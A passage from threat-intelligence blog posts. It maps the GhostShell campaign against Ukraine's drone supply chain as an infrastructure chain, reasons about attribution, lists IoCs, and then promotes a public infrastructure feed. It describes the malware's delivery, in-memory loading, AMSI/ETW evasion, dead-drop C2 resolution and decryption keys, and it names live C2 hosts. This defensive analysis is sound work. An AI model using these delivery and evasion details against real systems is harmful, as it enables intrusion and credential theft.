      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Loader artifact placed in Startup via archive path traversal (CVE-2025-8088); logon persistence is captured separately in attack_annotations (T1547.001)."
    },
    {
      "entity_id": "cloudaxis_url_122",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "cloudaxis_url_update",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "cloudaxis_domain",
      "role": "staging",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "Dedicated-server delivery host (Ultahost / Cogent). Tagged cloud/commercial hosting; ~131 days old so not disposable."
    },
    {
      "entity_id": "cloudaxis_ip",
      "role": "staging",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false
    },
    {
      "entity_id": "loader_122",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "XOR-overlay (CRPT) loader; runs Stage-2 in memory."
    },
    {
      "entity_id": "stage2_implant",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false
    },
    {
      "entity_id": "implant_cert",
      "role": "staging",
      "techniques": ["IIM-T012"],
      "role_confidence": "likely",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Role: IIM has no dedicated credential role; the cert is modeled as a staging/transport artifact because its job is authenticating the implant to C2. The shared self-named issuer (CN=GhostShell Implant CA) across per-implant leaf certs is the IIM-T012 reuse signal and the primary cluster pivot."
    },
    {
      "entity_id": "cndexpress_c2_url",
      "role": "c2",
      "techniques": ["IIM-T021"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "mTLS-gated endpoint: the real response is served only when the custom client presents the embedded client cert (request-fingerprinting gate); otherwise 400 Bad Request."
    },
    {
      "entity_id": "cndexpress_domain",
      "role": "c2",
      "techniques": ["IIM-T002", "IIM-T010"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "~7-day-old domain on a separate registrar (Spaceship) = disposable registration; AI-generated decoy hosting page at root."
    },
    {
      "entity_id": "cndexpress_ip",
      "role": "c2",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false
    },
    {
      "entity_id": "loader_update",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "In-memory HTTPS stager (Metasploit-consistent), classified as loader/stager rather than dropper."
    },
    {
      "entity_id": "telegram_deaddrop",
      "role": "redirector",
      "techniques": ["IIM-T006", "IIM-T013"],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Dead-drop resolver on a legitimate third-party site (Telegram). Telegram only encodes the next-hop host here; it is not used as the bidirectional message bus, so IIM-T018 is intentionally not applied."
    },
    {
      "entity_id": "metasploit_c2_ip",
      "role": "c2",
      "techniques": ["IIM-T011"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "Operational host is fetched at runtime via the dead-drop resolver, so it functions as a rotatable C2 node (IIM-T011). KZ ADSL / small AS could also support a bulletproof-style read (IIM-T003) but that is left out pending more nodes."
    },
    {
      "entity_id": "launcher_22",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Go launcher embedding Xray-Core; transport/proxy layer plus in-memory PE loader."
    },
    {
      "entity_id": "xray_c2",
      "role": "c2",
      "techniques": ["IIM-T002"],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": false,
      "review_notes": "VLESS + XTLS Vision + REALITY tunnel endpoint on MivoCloud (AS39798), same hoster as cndexpress_ip. No dedicated IIM technique exists for an encrypted proxy transport; tagged cloud hosting and described in evidence."
    },
    {
      "entity_id": "vidar_payload",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Commodity stealer (Vidar v2) delivered via the 22.exe lane; role-confidence likely because identification is by behavior/family rather than a clean published sample hash."
    }
  ],
  "relations": [
    {
      "from": "rar_archive",
      "to": "decoy_pdf",
      "type": "drops",
      "sequence_order": 1,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Extracting the RAR writes the Besomar-themed decoy PDFs alongside the malicious VBS.",
        "All decoys share identical size and creation timestamp 2026:06:06 16:39:42+02:00."
      ]
    },
    {
      "from": "rar_archive",
      "to": "startup_vbs",
      "type": "drops",
      "sequence_order": 2,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Extraction copies the VBS into %APPDATA%\\...\\Startup via relative path traversal, abusing CVE-2025-8088 / CVE-2025-6218.",
        "All dropped VBS copies share SHA256 cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107."
      ]
    },
    {
      "from": "startup_vbs",
      "to": "cloudaxis_url_122",
      "type": "download",
      "sequence_order": 3,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Decoded ExecuteGlobal stub runs curl against the cloudaxis.cc 122.exe URL into %TEMP%."
      ]
    },
    {
      "from": "startup_vbs",
      "to": "cloudaxis_url_update",
      "type": "download",
      "sequence_order": 4,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Decoded ExecuteGlobal stub runs curl against the cloudaxis.cc update.exe URL into %TEMP%."
      ]
    },
    {
      "from": "cloudaxis_url_122",
      "to": "cloudaxis_domain",
      "type": "references",
      "sequence_order": 5,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the 122.exe download URL is served from cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_url_update",
      "to": "cloudaxis_domain",
      "type": "references",
      "sequence_order": 6,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the update.exe download URL is served from cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_domain",
      "to": "cloudaxis_ip",
      "type": "resolves-to",
      "sequence_order": 7,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Whois lists 154.58.204.149 (Madrid / Cogent / AS214036 Ultahost) as the dedicated server for cloudaxis.cc."
      ]
    },
    {
      "from": "cloudaxis_url_122",
      "to": "loader_122",
      "type": "download",
      "sequence_order": 8,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The 122.exe URL serves the PE32+ loader (SHA256 ab5681266f...) to the malware client."
      ]
    },
    {
      "from": "loader_122",
      "to": "stage2_implant",
      "type": "execute",
      "sequence_order": 9,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "122.exe XOR-unpacks the CRPT overlay (key d0cd4cb8d4673e28) and runs the Stage-2 PE in memory (VirtualAlloc / VirtualProtect / LoadLibrary / GetProcAddress)."
      ]
    },
    {
      "from": "stage2_implant",
      "to": "implant_cert",
      "type": "references",
      "sequence_order": 10,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The Stage-2 implant carries the EC mTLS client cert + key in its .rdata PKCS#12 config and presents it for C2 authentication.",
        "Issuer CN=GhostShell Implant CA is the per-cluster PKI anchor."
      ]
    },
    {
      "from": "stage2_implant",
      "to": "cndexpress_c2_url",
      "type": "connect",
      "sequence_order": 11,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Implant POSTs the host-fingerprint beacon to cndexpress.cc/analytics/collect over WinHTTP, authenticating with the client cert and ignoring the server cert (flags 0x3300)."
      ]
    },
    {
      "from": "cndexpress_c2_url",
      "to": "cndexpress_domain",
      "type": "references",
      "sequence_order": 12,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Locator-to-host edge: the /analytics/collect endpoint is served from cndexpress.cc."
      ]
    },
    {
      "from": "cndexpress_domain",
      "to": "cndexpress_ip",
      "type": "resolves-to",
      "sequence_order": 13,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Sandbox traffic to cndexpress.cc terminates at 5.252.177.88:443 (Missouri / MivoCloud / AS39798)."
      ]
    },
    {
      "from": "cloudaxis_url_update",
      "to": "loader_update",
      "type": "download",
      "sequence_order": 14,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The update.exe URL serves the in-memory loader / HTTPS stager (SHA256 b18346348...)."
      ]
    },
    {
      "from": "loader_update",
      "to": "telegram_deaddrop",
      "type": "download",
      "sequence_order": 15,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "update.exe fetches t.me/flufff6262 over HTTPS and reads the [CFG]...[/CFG] value from the page body."
      ]
    },
    {
      "from": "telegram_deaddrop",
      "to": "metasploit_c2_ip",
      "type": "references",
      "sequence_order": 16,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The [CFG] blob base64+XOR('deadbeef1337') decodes to the C2 host: [CFG]XFNPUVZLV1MfAQ==[/CFG] -> 86.54.25.2."
      ]
    },
    {
      "from": "loader_update",
      "to": "metasploit_c2_ip",
      "type": "connect",
      "sequence_order": 17,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "After substituting the resolved host into the 757-byte shellcode (placeholder 111.111.111.111), the WinINet stager connects to 86.54.25.2 over HTTPS/443 and pulls the next stage in memory (Metasploit x64 reverse_https-consistent)."
      ]
    },
    {
      "from": "cloudaxis_domain",
      "to": "launcher_22",
      "type": "references",
      "sequence_order": 18,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "tentative",
      "x_evidence": [
        "KRAKEN surfaced 22.exe (SHA256 8de34006d...) as an additional file distributable from the same delivery infrastructure.",
        "The exact cloudaxis.cc URL/path for 22.exe is not published, so this hosting edge is kept tentative pending a confirmed delivery URL."
      ]
    },
    {
      "from": "launcher_22",
      "to": "vidar_payload",
      "type": "execute",
      "sequence_order": 19,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "likely",
      "x_evidence": [
        "The native loader extracted by 22.exe AES-256-CBC-decrypts an embedded PE, manually maps it and calls its entry point in-process; the mapped payload is Vidar v2."
      ]
    },
    {
      "from": "launcher_22",
      "to": "xray_c2",
      "type": "connect",
      "sequence_order": 20,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The embedded Xray-Core client tunnels outbound traffic via VLESS + XTLS Vision + REALITY to 5.181.156.168:25475 and exposes local HTTP/SOCKS proxies on 127.0.0.1:10809 / 127.0.0.1:10808."
      ]
    },
    {
      "from": "vidar_payload",
      "to": "xray_c2",
      "type": "communicates-with",
      "sequence_order": 21,
      "observed_at": "2026-06-22T00:00:00Z",
      "confidence": "likely",
      "x_evidence": [
        "Vidar exfiltration is routed through the local proxy / Xray tunnel; 5.181.156.168 is the observed tunnel endpoint rather than Vidar's terminal C2.",
        "Kept likely because the report establishes the tunnel and the Vidar family but does not expose Vidar's own downstream C2 host."
      ]
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1566.001",
      "name": "Phishing: Spearphishing Attachment",
      "tactic": "Initial Access",
      "comment": "Besomar-themed RAR archive delivered to Ukrainian UAV-sector targets."
    },
    {
      "technique_id": "T1203",
      "name": "Exploitation for Client Execution",
      "tactic": "Execution",
      "comment": "CVE-2025-8088 / CVE-2025-6218 archive handling places the VBS into the Startup folder."
    },
    {
      "technique_id": "T1059.005",
      "name": "Command and Scripting Interpreter: Visual Basic",
      "tactic": "Execution",
      "comment": "Base64 + ExecuteGlobal VBS stub fetches and launches the EXEs."
    },
    {
      "technique_id": "T1547.001",
      "name": "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "comment": "VBS placed in the Windows Startup folder; Stage-2 implant additionally uses CurrentVersion\\Run."
    },
    {
      "technique_id": "T1140",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "comment": "CRPT XOR overlay (d0cd4cb8d4673e28), (i*7-0x58)&0xFF config decrypt, base64+XOR 'deadbeef1337' dead-drop config."
    },
    {
      "technique_id": "T1620",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "comment": "122.exe runs Stage-2 in memory; update.exe runs decrypted shellcode; 22.exe manually maps Vidar in-process."
    },
    {
      "technique_id": "T1562.001",
      "name": "Impair Defenses: Disable or Modify Tools",
      "tactic": "Defense Evasion",
      "comment": "update.exe patches AMSI/ETW and unhooks ntdll; 22.exe loader patches AmsiScanBuffer/AmsiOpenSession/EtwEventWrite/EtwEventWriteTransfer/NtTraceEvent."
    },
    {
      "technique_id": "T1497",
      "name": "Virtualization/Sandbox Evasion",
      "tactic": "Defense Evasion",
      "comment": "update.exe checks sleep timing, available RAM and logical processor count."
    },
    {
      "technique_id": "T1102.001",
      "name": "Web Service: Dead Drop Resolver",
      "tactic": "Command and Control",
      "comment": "update.exe resolves its C2 host from a Telegram channel post (t.me/flufff6262)."
    },
    {
      "technique_id": "T1071.001",
      "name": "Application Layer Protocol: Web Protocols",
      "tactic": "Command and Control",
      "comment": "HTTPS beacons to cndexpress.cc and HTTPS stager traffic to 86.54.25.2."
    },
    {
      "technique_id": "T1573.002",
      "name": "Encrypted Channel: Asymmetric Cryptography",
      "tactic": "Command and Control",
      "comment": "EC mutual-TLS (P-256) client-cert authentication between Stage-2 implant and cndexpress.cc."
    },
    {
      "technique_id": "T1090",
      "name": "Proxy",
      "tactic": "Command and Control",
      "comment": "22.exe routes traffic through an embedded Xray-Core VLESS/XTLS/REALITY tunnel to 5.181.156.168:25475."
    },
    {
      "technique_id": "T1113",
      "name": "Screen Capture",
      "tactic": "Collection",
      "comment": "Stage-2 implant uses GDI+ (GdiplusStartup/GetDC/CreateCompatibleBitmap/BitBlt)."
    },
    {
      "technique_id": "T1555.003",
      "name": "Credentials from Password Stores: Credentials from Web Browsers",
      "tactic": "Credential Access",
      "comment": "Vidar v2 steals browser passwords, cookies, autofill and extension data."
    }
  ],
  "x_actor_name": "GhostShell",
  "x_malwarebox_id": "MB-0009",
  "x_cve": ["CVE-2025-8088", "CVE-2025-6218"],
  "x_victim_context": "Ukraine UAV / drone supply chain - military units, technical personnel, procurement staff, volunteer organisations and defense-sector partners; lures impersonate the Ukrainian fixed-wing drone manufacturer Besomar.",
  "x_source_reports": [
    "Synaptic Security Blog - GhostShell (MB-0009): Targeting Ukraine's UAV Operations and Defense Supply Chain"
  ],
  "x_source_urls": [
    "https://blog.synapticsystems.de/ghostshell-mb-0009-targeting-ukraines-uav-operations-and-defense-supply-chain/"
  ],
  "x_report_published_at": "2026-06-22T00:00:00Z",
  "x_cluster_pivots": [
    "Issuer CN=GhostShell Implant CA on the implant mTLS PKI (very likely hard-coded in the C2 builder; strongest pivot).",
    "Stage-2 config decrypt routine (i*7 - 0x58) & 0xFF with AVX2 + scalar paths.",
    "CRPT XOR overlay key d0cd4cb8d4673e28.",
    "Beacon template implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu (YARA-able).",
    "Infra discipline: registrar/hosting separation (PDR+Cogent/Ultahost vs Spaceship+MivoCloud), per-phase rotation, reused AI-generated decoy hosting pages."
  ],
  "x_solbit_note": "Surface signals (Ukrainian lures, UTC+2 PDF timestamps, 'benefits Russia' cui-bono) all point one way but are the cheapest to plant; the expensive origin-bearing deep signals (custom crypto routine, implant PKI, infra discipline) are currently neutral. No surface/deep divergence indicating a false flag, but also no deep evidence for a sponsor: attribution is held honestly at cluster level (GhostShell / MB-0009), not at sponsor level.",
  "x_publication_safety": "URL entity values are defanged (hxxps, [.]); domain and ip entity values are kept live for tooling/pivoting. Hashes, the cert fingerprint and crypto keys are from the published analyst report.",
  "x_corrective_notes": [
    "Modeled the implant mTLS client certificate as a 'staging' position (auth/transport material) because IIM v1.1 has no credential role; documented in review_notes.",
    "Telegram dead-drop tagged IIM-T013 + IIM-T006 only (not IIM-T018), since Telegram resolves the next-hop host rather than acting as the bidirectional message bus.",
    "22.exe -> cloudaxis hosting edge kept tentative: KRAKEN found 22.exe on the infrastructure but the exact delivery URL/path is not published.",
    "Stage-2 modeled as a descriptive 'file' entity (no clean published SHA-256); MD5 df587c58c82d7cfb41d966d2fe21cecb retained in evidence."
  ]
}

IIM View in KRAKEN

How Do We Use the Extracted Intelligence for Further Analysis?

I recently published another component of the Malwarebox ecosystem: the SOLBIT model.

SOLBIT is a general model for attribution under deception.

CTI is the first domain in which I have implemented it, but the model can, in principle, also be applied to other intelligence disciplines.

In simple terms, SOLBIT divides the available evidence into six domains:

  • Strategic
  • Operational
  • Linguistic
  • Behavioral
  • Infrastructure
  • Technical

That gives us S-O-L-B-I-T.

The interesting part is not merely the list. Each domain receives a weight based on one central question:

How expensive is this signal to fake?

A hash can be changed in seconds.

An artificial timezone can be inserted just as easily.

Infrastructure developed and maintained over several months or a custom cryptographic routine is considerably more expensive to fake.

SOLBIT therefore does not simply add indicators together. It weighs them according to their resistance to manipulation and deliberately checks whether the cheap, easily fabricated surface-level signals and the expensive, deeper signals point in the same direction.

When they do not, that discrepancy becomes a warning sign for a potential false flag.

And this distinction is particularly important in a new case like GhostShell.

SOLBIT separates:

  • The same hand
  • Whose hand

It forces me to be honest about the attribution level we have actually reached:

  • Cluster
  • Persona
  • Real-world sponsor

Instead of seeing a victim, spotting a few convenient artifacts and immediately jumping to a flag.

So, let’s throw the findings from above into the six domains.

Strategic: Intent

The target profile is Ukraines UAV and drone supply chain:

  • Military units
  • Technical personnel
  • Procurement staff
  • Volunteer organizations

This tells us quite a lot about the actors interests, cui bono, but very little about their origin.

That is exactly why SOLBIT assigns this domain relatively little weight when answering the sponsor question.

“They are targeting Ukraine, therefore it must benefit Russia” is precisely the kind of signal that any half-competent false-flag operation could plant just as easily.

Operational: Tradecraft

This is where things start to get more interesting.

The actor deliberately separates registrars and hosting providers:

  • PDR versus Spaceship
  • Cogent in Madrid versus MivoCloud in Missouri

The infrastructure is also rotated between campaign phases. cloudaxis[.]cc dates back to February, while cdnexpress[.]cc was only seven days old at the time of analysis.

At the same time, the actor reuses minimal, AI-generated decoy websites.

These are operational decisions, not random coincidences and decisions are more expensive to fake than a hash.

Linguistic

Evidence in this domain is thin, which is itself worth stating.

The Ukrainian-language decoy PDFs represent target localization, a surface-level signal.

The +02:00 timezone found in the PDF metadata is interesting, but it is also trivial to manipulate.

Free-form text suitable for actual NLI or stylometric analysis?

Nowhere to be found.

Coverage in this domain is therefore low and I am going to call it low instead of inflating a weak signal until it looks more exciting than it really is.

Behavioral

This domain describes how the implant behaves.

The implant:

  • Ignores server-certificate validation errors using flags 0x3300
  • Authenticates using an mTLS client certificate
  • Assigns each implant its own 64-bit identifier
  • Establishes persistence through a Windows Run key
  • Captures screenshots through GDI+

These are behavioral habits that may remain consistent across multiple samples.

Infrastructure: My IIM Stuff

This is the most valuable domain in this case.

We have domains, IP addresses, ASNs, registrars and hosting providers, but most importantly, we have a custom implant PKI using the following issuer:

CN=GhostShell Implant CA

This string is highly likely to be hardcoded into the C2 builder, making it the strongest pivot in the entire artifact set.

Any future sample or server presenting a certificate issued by exactly this CA can be linked back to the same cluster with high confidence.

Technical: IOCs and Code

The technical domain contains the hashes, the XOR overlay key:

d0cd4cb8d4673e28

and, more importantly, the custom decryption routine:

(i * 7 - 0x58) & 0xFF

including both its AVX2 implementation and scalar fallback.

We also have the beacon template:

implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu

Hashes are cheap. They change with every build.

The specific cryptographic routine and beacon format, however, are YARA-able and considerably stickier.

So, What Does SOLBIT Tell Us?

All of the surface-level signals, the Ukrainian lures, the UTC+2 metadata and the fact that the operation would supposedly “benefit Russia” point very obediently in the same direction.

But those are also the cheapest signals to plant.

The expensive, origin-bearing, deeper signals, the cryptographic routine, the implant PKI and the actors infrastructure discipline remain neutral for now.

They are strong enough to track GhostShell as an independent cluster, but not strong enough to attach a national flag to it.
There is also no meaningful surface-to-deep divergence that would scream false flag.
I simply do not yet have deep evidence identifying a sponsor.

In practical terms, SOLBIT allows me to anchor GhostShell as a distinct cluster through its implant CA, decryption routine and infrastructure patterns.

At the same time, it keeps the attribution honestly at the cluster level and prevents me from turning “they are targeting Ukraine” into a sponsor assessment that the available evidence simply does not support.

That is exactly what the model is for.

Previous Findings

I have already mentioned that the TA has been active since February 2026.
This is due to the registration of the first domain in February and public posts about the malware / C2 / Telegram

https://x.com/skocherhan/status/2040900975070753103


IoCs

ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3  122.exe
8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25  22.exe
b1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012  update.exe
423c98b9a8ad09bbb0aa24e86c23095ef6a26e30b3db07358927929d2fb2ecb3  client.key.pem
1d6f3e8583ce84b892097a03b0d4525850f8d3c59dea56482f17e5c44422dc89  client.cert.pem
c91874dc34e991e614060d6f16da7d4680e5eb7d36fba489644863f4c6c8cf66  config.pfx
a938b7291dbdcdcadb67d560b94bfee366e7f97f06d6f666b25e298c442d8542  БпЛА Besomar 3210.pdf
c5c458a7b1bdfa3cbffdbcd0791912ff19267ad2808a5266a9975b22a53e73e0  Зарядна станція.pdf
e4d377b339f96c69c3001b854b22decae41883bd31f2f5a8c20f57d931ae0b44  Катапульта.pdf
59842745dafd1537c3e2187f82fae7791e646a74251fe20d6c8ebaadf5720880  Комплектація БпЛА Besomar.pdf
54218a8f2d1acc5d1beb576b970bb5333a4b78b05493754d2d1457ebf22a0ac1  Модифікація Besomar 3210-N.pdf
3ec6c91d68b416381ac9f6310a9e011f4060369c63416021864a6d5b91e97dc4  Переваги співпраці.pdf
a8dfa5a35f30c1789ce08b7e16660423bb1545fc8ec7411d24cfd41d1439bb45  Про компанію.pdf
cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107  БпЛА Besomar 3210.pdf:.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_MicrosoftUpdate-1.302.1609.vbs
28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff  Besomar_documentation.rar
c83272741d42a7aa738fbad85e21d0565e50cbf3b72f32b835c225965b3cc207  122_stage2_unpacked.bin
cloudaxis.cc
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/22.exe
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe
154.58.204[.]149
cdnexpress.cc
https://cdnexpress[.]cc/analytics
cdnexpress[.]cc
5.252.177[.]88
t.me/flufff6262
86.54.25[.]2
5.181.156[.]168:25475


IIM Feed: Attack Pattern Mapping for Adversary Infrastructure (5/7)

by Robin Dost

Part 5 of 7 of building the Malwarebox Ecosystem
URL: https://feed.iim.malwarebox.eu
Malwarebox: https://malwarebox.eu
IIM: https://iim.malwarebox.eu
IIM Spec: https://github.com/MalwareboxEU/IIM


I have been working on IIM for a while now, mostly because adversary infrastructure is still weirdly underrepresented in public CTI.
If you track adversaries, you’re probably familiar with the challenge of reconstructing their attacks:

  • We have IOC feeds.
  • We have malware databases.
  • We have ATT&CK mappings.
  • We have long reports with screenshots, diagrams and tables.

All useful.

And still, when you want to understand how an operation was actually built, you often end up doing the same thing manually again:

Open the report -> Extract the domains -> Follow the URLs -> Check the samples -> Look at the redirect chain -> Find the staging host -> Check what the payload talks to -> Write notes -> Draw a mental grap -> Maybe put it into some internal tool -> Then forget where half of the context came from three weeks later

Very efficient. Very 2026.

So I built a public viewer for IIM chains:

https://feed.iim.malwarebox.eu

The goal is simple:

Make adversary infrastructure chains visible, browsable and reusable 🙂

What the feed website is

The IIM Public Feed website is a public interface for structured IIM chains.

[LIVE VIEW]

Instead of only publishing isolated indicators, the feed shows how observed infrastructure components are connected inside an operation.

A chain can include things like:

entry -> redirector -> staging -> payload -> c2

Or, in a more practical example:

Each element has a role, each connection a relation and each chain can include actor context, campaign context, source references and evidence.

So the question is no longer only:

Which domains were used?

The better question becomes:

How did these domains, URLs, payloads and endpoints work together?

That is the entire point of the feed.

Why this exists

A lot of public CTI is still flattened too early.
An operation starts as a chain of infrastructure, delivery logic, payloads and backend communication.
By the time it lands in a feed, it often becomes this:

  • domain
  • ip
  • url
  • hash
  • tag

Great. Technically correct. Also missing half of the useful context.

The problem is not that IOCs are useless.
They are useful.
Blocking, detection, enrichment, correlation, retro-hunting, all of that still needs indicators.

The problem is that an IOC without role and relation is only a fragment.

A domain can be many things.

It can be an entry point, a redirector, host a payload, part of C2, a decoy or it can be unrelated noise that looked interesting for five minutes.

  • A hash can be a payload.
  • A URL can be staging.
  • An IP can be backend infrastructure.
  • A compromised site can be part of a delivery chain without being “the actor’s server”.

Without structure, all of that gets thrown into the same bucket.

And then everyone pretends the bucket is intelligence.

What IIM adds

IIM stands for Infrastructure Intelligence Model.

It is a model for describing adversary infrastructure as chains of roles and relations.

The idea is intentionally boring in the best way:

Give infrastructure components a role.
Connect them with meaningful relations.
Keep the evidence attached.
Make the chain readable for humans and usable for machines.

In IIM terms, a component might have a role like:

  • entry
  • redirector
  • staging
  • payload
  • c2

And relations can describe how components interact:

  • redirects_to
  • hosts
  • downloads
  • drops
  • communicates_with
  • resolves_to

That creates a structured view of the operation.
A way to stop losing the shape of the infrastructure the moment we export the data.

Which, honestly, feels overdue.

What makes feed.iim.malwarebox.eu useful

The website gives these chains a public place.

You can look at an actor or campaign and inspect the infrastructure chain behind it.
Instead of reading a paragraph and then scrolling to an IOC appendix, the structure is visible directly.
You can filter by actor and simply click on an available chain to see how the attacker structures their attacks 🙂

The important part is the relationship between objects.

For example:

domain A redirected to URL B
URL B staged payload C
payload C contacted endpoint D
endpoint D was linked to actor/campaign context

That is already much more useful than a flat list.

It shows the path, the role of each object, why an indicator matters and it gives the analyst something to reason about.

This is especially useful when looking across multiple campaigns.
If the same actor keeps using similar layouts, similar staging behavior, similar redirect setups or similar backend separation, that becomes visible as a pattern.

And that is where infrastructure analysis becomes more interesting than “here are five domains, have fun”.

Publication periods & Participating

Malwarebox will regularly use internal and public reports to generate IIM chains, so you can understand how attackers structure their attacks.

If you build your own IIM chains and would like to publish them with us, please feel free to email them to me at contact@malwarebox.eu, including relevant references so we can validate the results (blog posts, write-ups, etc.).
Since I’ve been doing most of the work on my own so far, I’ve now put together a small team, but we’d love to grow 🙂
If you’d like to join the current initiative (publishing analyses, development) or support us in other ways (e.g., financially, *this work isn’t cheap* or through evaluation), please feel free to contact us at the email address above, every bit of support helps us improve and move faster!

Why this matters for adversary understanding

Understanding adversaries is not only about naming them.

Actor names are useful, but they are also messy. Different vendors use different names, clusters shift, overlaps happen, confidence changes and sometimes everyone is clearly talking about related activity while pretending the naming situation is totally fine.

Classic CTI moment.

Infrastructure gives another angle.

  • How does the actor deliver payloads?
  • Do they use redirectors?
  • Do they rely on compromised infrastructure?
  • Do they separate staging and C2?
  • Do they reuse backend systems?
  • Do they rotate only the visible front layer?
  • Do they make the same operational mistakes repeatedly?

Those questions are not answered well by a hash list.

They are also not fully answered by ATT&CK technique IDs.

ATT&CK is good for behavior.
Malware databases are good for malware family knowledge.
IOC feeds are good for indicator distribution.

The IIM feed focuses on the infrastructure chain.

That is the missing public layer I care about here.

Where Mantis fits in

The feed is connected to the wider Malwarebox ecosystem.

Mantis is used as an internal place to collect, reverse engineer and process malware samples, metadata and related observations.
Some of that context can then be turned into structured IIM chains and published through the public feed.

So the flow is roughly:

Mantis
-> collect / import / enrich observations

IIM
-> model infrastructure as roles and relations

IIM Public Feeds
-> publish selected chains in a browsable form

Malwarebox
-> connect chains with research, actor pages and defensive context

That connection is important.

The feed is not meant to be a random gallery of graphs. It is meant to become a public layer where selected infrastructure chains from real research and observations can be exposed in a consistent format.

This is attack pattern mapping on the infrastructure layer

The easiest way to describe the idea is probably this:

IIM Public Feeds map attack patterns on the infrastructure layer.

The focus is how adversaries compose infrastructure during operations.

  • Delivery paths
  • Redirect layers
  • Staging locations
  • Payload hosting
  • C2 exposure
  • Reuse across campaigns
  • Relationships between moving parts

That gives defenders and analysts a different view.

  • A single domain may be dead tomorrow.
  • A payload URL may disappear.
  • A hosting provider may suspend the server.
  • The campaign may rotate visible infrastructure.

But the way the operation is structured can still tell you something.

Sometimes the structure is clean, sometimes it is messy, sometimes it is lazy and sometimes it is surprisingly consistent.

All of that is analytical signal for us 🙂

Why public access matters

A lot of infrastructure mapping already happens somewhere.

In private vendor platforms, internal analyst graphs, screenshots inside PDFs, notes that never leave a team, spreadsheets with names like apt_infra_final_v4_REAL.xlsx.

That is fine for internal workflows, but it does not create a public reference layer.

Public IIM chains can be linked.
They can help students, researchers and defenders understand operations faster.

That is one of the reasons I wanted this to be visible on a public website.
This could also become a large-scale disruptive measure if it gains widespread adoption.
Until then, we will continue to publish updates and refine our approach wherever possible.

How this fits next to existing sources

